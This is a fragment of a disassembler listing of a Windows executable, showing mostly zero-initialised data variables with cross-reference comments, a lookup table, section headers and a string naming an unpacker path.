dword_4C460C	dd 0			; DATA XREF: sub_407D3E+8Cw
					; sub_407D3E+E2r
dword_4C4610	dd 0			; DATA XREF: sub_407D3E+1A6w
					; sub_407D3E+1E2r
dword_4C4614	dd 0			; DATA XREF: sub_407D3E+172w
					; sub_407D3E+1C2r
dword_4C4618	dd 0			; DATA XREF: sub_407D3E+63Bw
					; sub_407D3E+783r
dword_4C461C	dd 0			; DATA XREF: sub_407D3E+4A6w
					; sub_407D3E+4F4r
dword_4C4620	dd 0			; DATA XREF: sub_407D3E+B08w
dword_4C4624	dd 0			; DATA XREF: sub_4077DC+B7r
					; sub_4077DC+376r ...
dword_4C4628	dd 0			; DATA XREF: sub_407D3E+84Bw
					; sub_407D3E+87Fr
dword_4C462C	dd 0			; DATA XREF: sub_407D3E+18Cw
					; sub_407D3E+1D2r
dword_4C4630	dd 0			; DATA XREF: sub_407D3E+206w
					; sub_407D3E+227r
dword_4C4634	dd 0			; DATA XREF: sub_407D3E+58w
					; sub_407D3E+CAr ...
dword_4C4638	dd 0			; DATA XREF: sub_407D3E+96Dw
					; sub_407D3E+9DFr
dword_4C463C	dd 0			; DATA XREF: sub_407D3E+5BFw
					; sub_407D3E+72Fr ...
dword_4C4640	dd 0			; DATA XREF: sub_407D3E+220w
					; sub_407D3E+23Cr
dword_4C4644	dd 0			; DATA XREF: sub_407D3E+BACw
					; sub_407D3E+BE7r
dword_4C4648	dd 0			; DATA XREF: sub_407D3E+2DCw
					; sub_407D3E+30Dr
dword_4C464C	dd 0			; DATA XREF: sub_4077DC+138r
					; sub_407D3E+675w ...
dword_4C4650	dd 0			; DATA XREF: sub_407D3E+22Dw
dword_4C4654	dd 0			; DATA XREF: sub_407D3E+BE0w
dword_4C4658	dd 0			; DATA XREF: sub_407D3E+994w
					; sub_407D3E+9F7r
dword_4C465C	dd 0			; DATA XREF: sub_407D3E+627w
					; sub_407D3E+773r
dword_4C4660	dd 0			; DATA XREF: sub_407D3E+B62w
dword_4C4664	dd 0			; DATA XREF: sub_407D3E+31w
					; sub_407D3E+ADr
dword_4C4668	dd 0			; DATA XREF: sub_407D3E+AFBw
					; sub_407D3E+B17r
dword_4C466C	dd 0			; DATA XREF: sub_407D3E+9AEw
					; sub_407D3E+A07r
dword_4C4670	dd 0			; DATA XREF: sub_407D3E+2CFw
					; sub_407D3E+305r
dword_4C4674	dd 0			; DATA XREF: sub_407D3E+946w
					; sub_407D3E+9C2r
dword_4C4678	dd 0			; DATA XREF: sub_407D3E+9BBw
					; sub_407D3E+A0Fr
dword_4C467C	dd 0			; DATA XREF: sub_407D3E+3Ew
					; sub_407D3E+BAr ...
dword_4C4680	dd 0			; DATA XREF: sub_407D3E+3B2w
					; sub_407D3E+3F8r
dword_4C4684	dd 0			; DATA XREF: sub_407D3E+17Fw
					; sub_407D3E+1CAr
dword_4C4688	dd 0			; DATA XREF: sub_405C00+1Br
					; sub_407D3E+72w ...
dword_4C468C	dd 0			; DATA XREF: sub_407D3E+8E7w
					; sub_407D3E:loc_40865Bw
dword_4C4690	dd 0			; DATA XREF: sub_4077DC+5Cr
					; sub_407D3E+5A5w ...
dword_4C4694	dd 0			; DATA XREF: sub_407D3E+953w
					; sub_407D3E+9CFr
dword_4C4698	dd 0			; DATA XREF: sub_407D3E+858w
					; sub_407D3E+8B0r
dword_4C469C	dd 0			; DATA XREF: sub_407D3E+A97w
					; sub_407D3E+A9Er
dword_4C46A0	dd 0			; DATA XREF: sub_404BAB+ACr
					; sub_407D3E+54Aw ...
dword_4C46A4	dd 0			; DATA XREF: sub_407D3E+9C8w
dword_4C46A8	dd 0			; DATA XREF: sub_407D3E+65w
dword_4C46AC	dd 0			; DATA XREF: sub_407D3E+682w
					; sub_407D3E+7ABr
dword_4C46B0	dd 0			; DATA XREF: sub_407D3E+99w
					; sub_407D3E+EAr ...
dword_4C46B4	dd 0			; DATA XREF: sub_407D3E+BC6w
					; sub_407D3E+BF7r
dword_4C46B8	dd 0			; DATA XREF: sub_407D3E+824w
					; sub_407D3E+894r
dword_4C46BC	dd 0			; DATA XREF: sub_407D3E+4C0w
					; sub_407D3E+504r
dword_4C46C0	dd 0			; DATA XREF: sub_407D3E+3BFw
					; sub_407D3E+400r
dword_4C46C4	dd 0			; DATA XREF: sub_407D3E+83Ew
					; sub_407D3E+8A4r
dword_4C46C8	dd 0			; DATA XREF: sub_407D3E+97Aw
					; sub_407D3E+9E7r
dword_4C46CC	dd 0			; DATA XREF: sub_407D3E+2E9w
					; sub_407D3E+315r
dword_4C46D0	dd 0			; DATA XREF: sub_407D3E+6C3w
dword_4C46D4	dd 0			; DATA XREF: sub_407D3E+A6w
					; sub_407D3E+F2r
dword_4C46D8	dd 0			; DATA XREF: sub_407D3E+2C2w
					; sub_407D3E+2FDr
dword_4C46DC	dd 0			; DATA XREF: sub_407D3E+4Bw
					; sub_407D3E+C2r ...
		dd 0
dword_4C46E4	dd 0			; DATA XREF: sub_4077DC+110r
					; sub_407D3E+571w
dword_4C46E8	dd 0			; DATA XREF: sub_407D3E+165w
					; sub_407D3E+1BAr
dword_4C46EC	dd 0			; DATA XREF: sub_407D3E+885w
dword_4C46F0	dd 0			; DATA XREF: sub_407D3E+6A9w
					; sub_407D3E+7C3r ...
dword_4C46F4	dd 0			; DATA XREF: sub_407D3E+A5Aw
dword_4C46F8	dd 0			; DATA XREF: sub_407D3E+353w
					; sub_4093BC+55r
dword_4C46FC	dd 0			; DATA XREF: sub_407D3E+AA4w
dword_4C4700	dd 0			; DATA XREF: sub_407D3E+48Cw
					; sub_407D3E+4E4r
dword_4C4704	dd 0			; DATA XREF: sub_407D3E+5D9w
					; sub_407D3E+747r ...
dword_4C4708	dd 0			; DATA XREF: sub_407D3E+47Fw
					; sub_407D3E+4DCr
dword_4C470C	dd 0			; DATA XREF: sub_407D3E+4CDw
dword_4C4710	dd 0			; DATA XREF: sub_40198E+1A82r
					; sub_40198E+1B6Fr ...
		align 8
dword_4C4718	dd 0			; DATA XREF: sub_407D3E+4B3w
					; sub_407D3E+4FCr
dword_4C471C	dd 0			; DATA XREF: sub_407D3E+564w
					; sub_407D3E+6E7r
dword_4C4720	dd 0			; DATA XREF: sub_407D3E+428w
dword_4C4724	dd 0			; DATA XREF: sub_40479E+7Fr
					; sub_406C59+A5r ...
dword_4C4728	dd 0			; DATA XREF: sub_407D3E+1B3w
dword_4C472C	dd 0			; DATA XREF: sub_407D3E+7Fw
					; sub_407D3E+DAr
dword_4C4730	dd 0			; DATA XREF: sub_407D3E+AE1w
					; sub_407D3E+B02r
dword_4C4734	dd 0			; DATA XREF: sub_4077DC+F4r
					; sub_407D3E+65Bw ...
dword_4C4738	dd 0			; DATA XREF: sub_407D3E+B3w
dword_4C473C	dd 0			; DATA XREF: sub_407D3E+872w
					; sub_407D3E+8C0r
dword_4C4740	dd 0			; DATA XREF: sub_407D3E+BD3w
					; sub_407D3E+BFFr
dword_4C4744	dd 0			; DATA XREF: sub_407D3E+499w
					; sub_407D3E+4ECr
dword_4C4748	dd 0			; DATA XREF: sub_4072DA+9Dr
					; sub_4077DC:loc_407BB0r ...
dword_4C474C	dd 0			; DATA XREF: sub_407D3E+37Ew
					; sub_407D3E+3D3r
dword_4C4750	dd 0			; DATA XREF: sub_407D3E+158w
					; sub_407D3E+1ADr
dword_4C4754	dd 0			; DATA XREF: sub_407D3E+398w
					; sub_407D3E+3E8r
dword_4C4758	dd 0			; DATA XREF: sub_407D3E+9A1w
					; sub_407D3E+9FFr
dword_4C475C	dd 0			; DATA XREF: sub_407D3E+3CCw
					; sub_407D3E+408r
dword_4C4760	dd 0			; DATA XREF: sub_407D3E+60Dw
					; sub_40AC0E+20r
dword_4C4764	dd 0			; DATA XREF: sub_407D3E+57Ew
					; sub_407D3E+6F3r ...
dword_4C4768	dd 0			; DATA XREF: sub_4077DC+89r
					; sub_407D3E+64Ew ...
dword_4C476C	dd 0			; DATA XREF: sub_407D3E+2F6w
dword_4C4770	dd 0			; DATA XREF: sub_407D3E+3A5w
					; sub_407D3E+3F0r
dword_4C4774	dd 0			; DATA XREF: sub_407D3E+A4Dw
					; sub_407D3E+A54r
		dd 0
dword_4C477C	dd 0			; DATA XREF: sub_407D3E+B9Fw
					; sub_407D3E+BDAr
dword_4C4780	dd 0			; DATA XREF: sub_407D3E+6B6w
					; sub_407D3E+7CBr
dword_4C4784	dd 0			; DATA XREF: sub_407D3E+600w
					; sub_407D3E+763r
dword_4C4788	dd 0			; DATA XREF: sub_407D3E+3D9w
dword_4C478C	dd 0			; DATA XREF: sub_407D3E+112w
dword_4C4790	dd 0			; DATA XREF: sub_407D3E+960w
					; sub_407D3E+9D7r
dword_4C4794	dd 0			; DATA XREF: sub_407D3E+BB9w
					; sub_407D3E+BEFr
dword_4C4798	dd 0			; DATA XREF: sub_407D3E+B55w
					; sub_407D3E+B5Cr
dword_4C479C	dd 0			; DATA XREF: sub_40479E+8Dr
					; sub_4073C5+151r ...
dword_4C47A0	dd 0			; DATA XREF: sub_407D3E+472w
					; sub_407D3E+4D4r
dword_4C47A4	dd 0			; DATA XREF: sub_407D3E+69Cw
					; sub_407D3E+7BBr ...
dword_4C47A8	dd 0			; DATA XREF: sub_404BAB+394r
					; sub_404BAB:loc_4051E9r ...
dword_4C47AC	dd 0			; DATA XREF: sub_407D3E+346w
					; sub_407D3E+35Ar ...
dword_4C47B0	dd 0			; DATA XREF: sub_407D3E+213w
					; sub_407D3E+234r
dword_4C47B4	dd 0			; DATA XREF: sub_4077DC+9Er
					; sub_407D3E+668w ...
dword_4C47B8	dd 0			; DATA XREF: sub_407D3E+5F3w
					; sub_407D3E+75Br ...
dword_4C47BC	dd 0			; DATA XREF: sub_407D3E+2B5w
					; sub_407D3E+2F0r
dword_4C47C0	dd 0			; DATA XREF: sub_407D3E+199w
					; sub_407D3E+1DAr
dword_4C47C4	dd 0			; DATA XREF: sub_407D3E+AEEw
					; sub_407D3E+B0Fr
dword_4C47C8	dd 0			; DATA XREF: sub_406231+49r
					; sub_407D3E+339w ...
dword_4C47CC	dd 0			; DATA XREF: sub_407D3E+38Bw
					; sub_407D3E+3E0r
dword_4C47D0	dd 0			; DATA XREF: sub_407D3E+465w
					; sub_407D3E+4C7r
dword_4C47D4	dd 0			; DATA XREF: sub_407D3E+831w
					; sub_407D3E+89Cr
dword_4C47D8	dd 0			; DATA XREF: sub_407D3E+817w
					; sub_407D3E+88Cr ...
dword_4C47DC	dd 0			; DATA XREF: sub_4077DC+4Br
					; sub_407D3E+5E6w ...
dword_4C47E0	dd 0			; DATA XREF: sub_40198E+11D9r
					; sub_406231+61r ...
dword_4C47E4	dd 0			; DATA XREF: sub_407D3E:loc_407E3Cw
					; sub_407D3E+12Bw
dword_4C47E8	dd 0			; DATA XREF: sub_407D3E+126w
dword_4C47EC	dd 0			; DATA XREF: sub_407D3E:loc_407F2Cw
					; sub_407D3E:loc_407F93w
dword_4C47F0	dd 0			; DATA XREF: sub_407D3E+250w
dword_4C47F4	dd 0			; DATA XREF: sub_407D3E:loc_40805Fw
					; sub_407D3E:loc_4080A4w ...
dword_4C47F8	dd 0			; DATA XREF: sub_407D3E+437w
dword_4C47FC	dd 0			; DATA XREF: sub_407D3E:loc_40825Bw
dword_4C4800	dd 0			; DATA XREF: sub_407D3E+518w
dword_4C4804	dd 0			; DATA XREF: sub_407D3E:loc_408515w
					; sub_407D3E+8FDw
dword_4C4808	dd 0			; DATA XREF: sub_407D3E+8F8w
dword_4C480C	dd 0			; DATA XREF: sub_407D3E:loc_40860Aw
					; sub_407D3E+913w
dword_4C4810	dd 0			; DATA XREF: sub_407D3E+90Ew
dword_4C4814	dd 0			; DATA XREF: sub_407D3E:loc_408762w
dword_4C4818	dd 0			; DATA XREF: sub_407D3E+A1Fw
dword_4C481C	dd 0			; DATA XREF: sub_407D3E:loc_4087ACw
dword_4C4820	dd 0			; DATA XREF: sub_407D3E+A69w
dword_4C4824	dd 0			; DATA XREF: sub_407D3E:loc_4087F6w
dword_4C4828	dd 0			; DATA XREF: sub_407D3E+AB3w
dword_4C482C	dd 0			; DATA XREF: sub_407D3E:loc_40886Aw
dword_4C4830	dd 0			; DATA XREF: sub_407D3E+B27w
dword_4C4834	dd 0			; DATA XREF: sub_407D3E:loc_4088B4w
dword_4C4838	dd 0			; DATA XREF: sub_407D3E+B71w
dword_4C483C	dd 0			; DATA XREF: sub_407D3E:loc_408952w
dword_4C4840	dd 0			; DATA XREF: sub_407D3E+C0Fw
		dd 2 dup(0)
dword_4C484C	dd 0			; DATA XREF: sub_407D3E:loc_407FCAw
dword_4C4850	dd 0			; DATA XREF: sub_407D3E+287w
dword_4C4854	dd 4 dup(0)		; DATA XREF: sub_408CE6+46o
dword_4C4864	dd 0			; DATA XREF: sub_40A082+4w
					; sub_40A082+9o
dword_4C4868	dd 0Eh dup(0)		; DATA XREF: sub_40A5BD+40o
dword_4C48A0	dd 0			; DATA XREF: sub_40AC56+92w
					; sub_40AFA2+36w ...
dword_4C48A4	dd 0			; DATA XREF: sub_40AD8F+1F5r
					; sub_40AFA2+BBw ...
		dd 3FEh	dup(0)
dword_4C58A0	dd 6 dup(0)		; DATA XREF: sub_40AD8F+C0o
					; sub_40AD8F+127o ...
dword_4C58B8	dd 0			; DATA XREF: sub_40B1D5+31r
					; sub_40B31C+EAr ...
dword_4C58BC	dd 11h dup(0)		; DATA XREF: sub_40BFB5+66o
dword_4C5900	dd 0			; DATA XREF: sub_4106EFw
					; sub_412C19+14Cw
dword_4C5904	dd 0			; DATA XREF: sub_40E8BA+9w
					; sub_40ED7A:loc_40EDF8w ...
dword_4C5908	dd 0			; DATA XREF: sub_41050F+96w
					; sub_41050F:loc_4106D6w ...
dword_4C590C	dd 0			; DATA XREF: sub_415B4C+149r
dword_4C5910	dd 2			; DATA XREF: .text:0040F87Bw
					; sub_412011r ...
dword_4C5914	dd 0A28h		; DATA XREF: .text:0040F89Bw
					; .text:0040F8ACw
dword_4C5918	dd 501h			; DATA XREF: .text:0040F8B7w
dword_4C591C	dd 5			; DATA XREF: .text:0040F884w
					; sub_412011+9r ...
dword_4C5920	dd 1			; DATA XREF: .text:0040F88Cw
dword_4C5924	dd 1			; DATA XREF: sub_404BAB+2A3r
					; sub_404BAB:loc_404F4Cr ...
dword_4C5928	dd 900B20h		; DATA XREF: sub_404BAB+2ACr
					; sub_404BAB+2C8r ...
		align 10h
dword_4C5930	dd 900B40h		; DATA XREF: sub_41483C+48w
					; sub_41483C:loc_4148EDr ...
		align 10h
off_4C5940	dd offset aCM_unpackerPac ; DATA XREF: sub_414A6F+37w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4C5948	db 0			; DATA XREF: sub_40DB61+5r
					; sub_40DDA2+2Dw
		align 4
dword_4C594C	dd 0			; DATA XREF: sub_40DDA2+27w
dword_4C5950	dd 0			; DATA XREF: sub_40DDA2+7r
					; sub_40DDA2+B0w
dword_4C5954	dd 0			; DATA XREF: sub_40E1DE+46r
					; sub_40E1DE+A5w
		dd 0
dword_4C595C	dd 0			; DATA XREF: sub_40E2CA+Aw
dword_4C5960	dd 0			; DATA XREF: sub_40EFD6+Ar
					; sub_40EFD6+13w ...
dword_4C5964	dd 0			; DATA XREF: .text:0040F96Ew
					; sub_41483C:loc_41484Er ...
		dd 0
dword_4C596C	dd 0			; DATA XREF: sub_40F82Dr
					; .text:0040F924r ...
dword_4C5970	dd 1			; DATA XREF: sub_411824+1Cw
					; sub_411824+24w ...
dword_4C5974	dd 0			; DATA XREF: sub_411CCB+12r
					; sub_411DBE+1Ar ...
byte_4C5978	db 0			; DATA XREF: sub_411CCB+3r
					; sub_411CCB+8Fr ...
		align 4
dword_4C597C	dd 0			; DATA XREF: sub_411DBE+11r
					; sub_411E9B+1Aw ...
byte_4C5980	db 0			; DATA XREF: sub_411E9B+57w
		align 4
dword_4C5984	dd 0			; DATA XREF: sub_412B9Fr
dword_4C5988	dd 0			; DATA XREF: sub_40E74Fr
					; sub_410733:loc_410786r ...
dword_4C598C	dd 1			; DATA XREF: sub_412ED1+Er
					; sub_412ED1+31w ...
		dd 2 dup(0)
dword_4C5998	dd 0			; DATA XREF: sub_40EB9E+5r
					; sub_40EB9E+98r ...
		dd 3 dup(0)
dword_4C59A8	dd 0			; DATA XREF: sub_40EB9E+86r
					; sub_411824+52r ...
		align 10h
dword_4C59B0	dd 0			; DATA XREF: sub_41382B+32r
					; sub_41382B+42w ...
dword_4C59B4	dd 0			; DATA XREF: sub_41382B+3Ar
					; sub_41382B+4Bw ...
dword_4C59B8	dd 0			; DATA XREF: sub_4136F3:loc_413700w
					; sub_41370C+15w ...
dword_4C59BC	dd 0			; DATA XREF: sub_40F094+75r
					; sub_413BA4+14r
dword_4C59C0	dd 0			; DATA XREF: sub_413EDF+Cr
dword_4C59C4	dd 0			; DATA XREF: sub_41437B:loc_41439Er
					; sub_41437B+38r ...
dword_4C59C8	dd 0			; DATA XREF: sub_414629+21r
dword_4C59CC	dd 0			; DATA XREF: sub_414662+68r
					; sub_414662+73w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_414A6F+23o
					; .text:off_4C5940o
		align 4
		dd 3Ah dup(0)
byte_4C5AD4	db 0			; DATA XREF: sub_414A6F:loc_414A86w
		align 4
dword_4C5AD8	dd 1			; DATA XREF: sub_414B11+2r
					; sub_414B11+24w ...
dword_4C5ADC	dd 1			; DATA XREF: sub_41512C+Er
					; sub_41512C+2Ew ...
dword_4C5AE0	dd 0			; DATA XREF: sub_41533C+1Ar
word_4C5AE4	dw 0			; DATA XREF: sub_415961+22o
					; sub_415961+53r
byte_4C5AE6	db 0			; DATA XREF: sub_415961+47r
		align 4
dword_4C5AE8	dd 6 dup(0)		; DATA XREF: sub_415961+62o
dword_4C5B00	dd 0			; DATA XREF: sub_415961+4Ew
					; sub_415961+6Co
dword_4C5B04	dd 0			; DATA XREF: sub_415961+5Aw
dword_4C5B08	dd 0			; DATA XREF: sub_415961+42w
dword_4C5B0C	dd 0			; DATA XREF: sub_415961+62w
dword_4C5B10	dd 0			; DATA XREF: sub_412C19+7r
dword_4C5B14	dd 0			; DATA XREF: sub_416BBC+9r
					; sub_416BBC+38w ...
dword_4C5B18	dd 0			; DATA XREF: sub_416BBC+4Dw
					; sub_416BBC:loc_416C81r
dword_4C5B1C	dd 0			; DATA XREF: sub_416BBC+5Bw
					; sub_416BBC+D6r
dword_4C5B20	dd 0			; DATA XREF: sub_416BBC+7Bw
					; sub_416BBC:loc_416C3Cr
dword_4C5B24	dd 0			; DATA XREF: sub_416BBC+6Cw
					; sub_416BBC+9Cr
dword_4C5B28	dd 0			; DATA XREF: sub_415B4C+3Dr
dword_4C5B2C	dd 0			; DATA XREF: sub_41784C:loc_4178B2r
					; sub_41784C+6Co
dword_4C5B30	dd 0			; DATA XREF: sub_41784C:loc_41788Ar
					; sub_41784C+44o
dword_4C5B34	dd 0			; DATA XREF: sub_41784C:loc_41787Dr
					; sub_41784C+37o
dword_4C5B38	dd 0			; DATA XREF: sub_41784C:loc_417897r
					; sub_41784C+51o
		align 10h
dword_4C5B40	dd 0			; DATA XREF: sub_40F5A0r sub_40F710r ...
dword_4C5B44	dd 0			; DATA XREF: sub_414253+26w
					; sub_414253+46w
dword_4C5B48	dd 0			; DATA XREF: sub_41207C+21w
					; sub_4120EF+21Cr ...
dword_4C5B4C	dd 0			; DATA XREF: sub_41207C+28w
					; sub_4120C4r ...
dword_4C5B50	dd 0			; DATA XREF: sub_41207C+15w
					; sub_4120C4+8r ...
dword_4C5B54	dd 0			; DATA XREF: sub_40E6DD+Er
					; sub_410733+29r ...
dword_4C5B58	dd 0			; DATA XREF: sub_41207C+2Fw
					; sub_4120EF+300w ...
dword_4C5B5C	dd 0			; DATA XREF: sub_41207C+3Cw
					; sub_412407+5r ...
dword_4C5B60	dd 0			; DATA XREF: sub_4120EF+229r
					; sub_4120EF+249r ...
dword_4C5B64	dd 900000h		; DATA XREF: sub_40E359+2Ar
					; sub_40E6DD+38r ...
dword_4C5B68	dd 1			; DATA XREF: sub_40E359+9r sub_40E6DDr ...
dword_4C5B6C	dd 0			; DATA XREF: sub_411669+1Aw
					; sub_411692+87r ...
dword_4C5B70	dd 0			; DATA XREF: sub_411669+15w
					; sub_411824+150w ...
		align 10h
byte_4C5B80	db 0			; DATA XREF: sub_411669+6o
					; sub_411824+AAo ...
byte_4C5B81	db 0			; DATA XREF: sub_40DEA4+5Er
					; sub_411692+107w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4C5C84	dd 4E4h			; DATA XREF: sub_411669+10w
					; sub_411692+19r ...
		align 10h
dword_4C5C90	dd 4 dup(0)		; DATA XREF: sub_411669+1Fo
					; sub_411824+165o ...
byte_4C5CA0	db 0			; DATA XREF: sub_411692:loc_4117A7w
					; sub_411692:loc_4117C4w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
dword_4C5DA0	dd 20h			; DATA XREF: sub_410364+1Fw
					; sub_410364:loc_4103EDr ...
		dd 7 dup(0)
dword_4C5DC0	dd 900650h		; DATA XREF: sub_40D9DD+74r
					; sub_40DABB+7Br ...
dword_4C5DC4	dd 3Fh dup(0)		; DATA XREF: sub_410364+91o
dword_4C5EC0	dd 142340h		; DATA XREF: .text:0040F964w
					; sub_4147D3+Fr ...
dword_4C5EC4	dd 1			; DATA XREF: sub_41483C+9Fw
dword_4C5EC8	dd 0			; DATA XREF: sub_40DDA2+3Er
					; sub_40DDA2:loc_40DDF4r ...
dword_4C5ECC	dd 0			; DATA XREF: sub_40DDA2+34r
					; sub_40DDA2+5Ar ...
dword_4C5ED0	dd 1			; DATA XREF: sub_411A10r
					; sub_411A10+11w ...
dword_4C5ED4	dd 0			; DATA XREF: sub_40DABB+2Bw
					; sub_40DABB+44w ...
		align 10h
dword_4C5EE0	dd 400h	dup(0)		; DATA XREF: .text:off_420F80o
					; .text:00420F88o
dword_4C6EE0	dd 0			; DATA XREF: sub_40DABBr
					; sub_40DABB:loc_40DAD5w ...
		align 200h
_text		ends

; Section 3. (virtual address 000C8000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000C8000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4C8000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start